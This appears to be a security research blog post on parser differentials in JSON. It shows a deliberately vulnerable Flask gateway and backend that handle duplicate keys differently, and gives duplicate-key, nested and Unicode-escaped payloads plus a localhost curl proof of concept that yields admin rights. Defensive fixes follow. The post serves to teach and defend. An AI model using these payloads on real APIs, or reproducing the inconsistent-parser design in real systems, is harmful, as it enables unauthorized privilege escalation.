← All writing

Security Research / October 07, 2025

Split-Brain JSON: Exploiting Parser Disagreement Across Validation Boundaries for Privilege Escalation 

How inconsistent duplicate-key handling can make gateways and backend services reach different security decisions for one JSON payload.

In distributed API architectures, input validation is often decoupled from business logic. Gateways, WAFs, and microservices each perform their own parsing of inbound data.

However, subtle inconsistencies between JSON parsers can create dangerous parser differentials where the same payload means different things to different components.

This post shows a reproducible example of such a differential, dubbed Split-Brain JSON, where duplicate-key handling inconsistencies lead to authorization bypasses and logic confusion between an API gateway and a backend service.

Attack Scenario:

Map of the split-brain JSON attack scenario
Fig: Scenario Mapping

The Core Problem: Divergent JSON Semantics

According to the JSON specification (RFC 8259, Section 4), “The names within an object SHOULD be unique.”
Note: That language is advisory not enforced.

Most JSON parsers therefore tolerate duplicate keys and resolve them using one of three common policies.

RFC 8259 section describing unique object names
Fig: RFC 8259 Section 4
Comparison of duplicate JSON key handling across languages
Fig: JSON Key handling in different languages

When two layers disagree e.g., a gateway uses first-key semantics and a backend uses last-key semantics the same byte sequence represents two different logical realities.

Demonstration: A Split-Brain API Architecture

We model a simple two-tier setup:

  • Gateway (Port 5000): Validates incoming JSON with a first-key-wins parser.
from flask import Flask, request, jsonify
import json, requests

app = Flask(__name__)

def first_wins_object_pairs(pairs):
    out = {}
    for k, v in pairs:
        if k not in out:
            out[k] = v
    return out

@app.route("/submit", methods=["POST"])
def submit():
    raw = request.data
    try:
        doc_first = json.loads(raw, object_pairs_hook=first_wins_object_pairs)
    except Exception as e:
        return jsonify({"gateway":"reject", "reason": f"parse error: {e}"}), 400

    role_seen = doc_first.get("role")
    if role_seen != "user":
        return jsonify({"gateway":"reject", "reason": f"invalid role (saw: {role_seen!r})"}), 403

    resp = requests.post("http://127.0.0.1:5001/submit", data=raw, headers={"Content-Type": "application/json"})
    return jsonify({"gateway":"accept","validation_view":{"role": role_seen},"backend_response": resp.json()})

if __name__ == "__main__":
    app.run(port=5000, debug=False)
  • Backend (Port 5001): Consumes the same raw body using the default Python json parser (last-key-wins).
from flask import Flask, request, jsonify
import json

app = Flask(__name__)

@app.route("/submit", methods=["POST"])
def submit():
    raw = request.data
    try:
        doc = json.loads(raw)
    except Exception as e:
        return jsonify({"backend":"reject", "reason": f"parse error: {e}"}), 400

    role = doc.get("role", "user")
    decision = "GRANT_ADMIN" if role == "admin" else "GRANT_USER"

    return jsonify({"backend":"processed","role_interpreted": role,"decision": decision,"doc": doc})

if __name__ == "__main__":
    app.run(port=5001, debug=False)

The gateway forwards the raw body to the backend, as many API gateways do for performance or signature verification reasons.

The Payload

{
  "user": "bob",
  "role": "user",
  "role": "admin"
}

Expected Behavior

  1. The gateway validates that "role" == "user".
  2. It approves the request and forwards the raw JSON body to the backend.
  3. The backend parses the same JSON and overwrites the "role" field with the last occurrence ("admin").
  4. The backend grants admin privileges.

Result

The same request simultaneously:

  • Passes validation at the gateway.
  • Triggers privilege escalation at the backend.

Proof of Concept

Gateway running on port 5000 (First-key-wins parser) and Backend on 5001 (Last key wins parser)

Terminal showing the gateway service running
Fig: Gateway
Terminal showing the backend service running
Fig: Backend

send payload using curl

curl -s -X POST http://127.0.0.1:5000/submit \
     -H 'Content-Type: application/json' \
     -d '{"user":"bob","role":"user","role":"admin"}' | jq .

Normal Output:

Normal request output from the proof of concept

Payload Embedded output:

Embedded duplicate-key payload output from the proof of concept

Variants and Amplifications

1. Nested Duplicate Keys

{"attrs": {"role": "user", "role": "admin"}}

Nested duplicates bypass validators that only check the top-level structure.

2. Escaped Keys (Unicode Confusion)

{"role": "user", "ro\u006ce": "admin"}

Visually distinct, logically identical after decoding bypasses regex-based filters.

Why This Matters

  • Cloud API Gateways: AWS API Gateway, Kong, and Apigee all have differing parser behaviors.A misalignment between validation policies and backend logic can result in bypasses that survive every WAF layer.
  • Web Application Firewalls: ModSecurity historically used json-c, which preserves first occurrence; backends in Node or Python often take the last occurrence.
  • Auth Proxies: OAuth or RBAC enforcement at gateways may validate role, scopes, or permissions before forwarding, unaware that the backend interprets later duplicates differently.

Defensive Design Patterns

  1. Fail on Duplicate Keys
    Modify your parser or request validator to reject objects containing duplicates outright.
def reject_dupes(pairs):
    seen = set()
    for k, _ in pairs:
        if k in seen:
            raise ValueError("duplicate key")
        seen.add(k)
    return dict(pairs)

2. Parse Once, Validate Once
The component that validates the request should also generate the canonical JSON body to be consumed by all downstream services.

3. Use Canonical Serialization for Signing and Forwarding
Always re-encode JSON (json.dumps() with strict separators) before signing, caching, or forwarding.

Closing Thought

Modern systems rely on consistent data interpretation more than perfect input filtering.
The next generation of security design must ensure semantic alignment not just sanitization.

The next time you validate a request, ask yourself this 😉.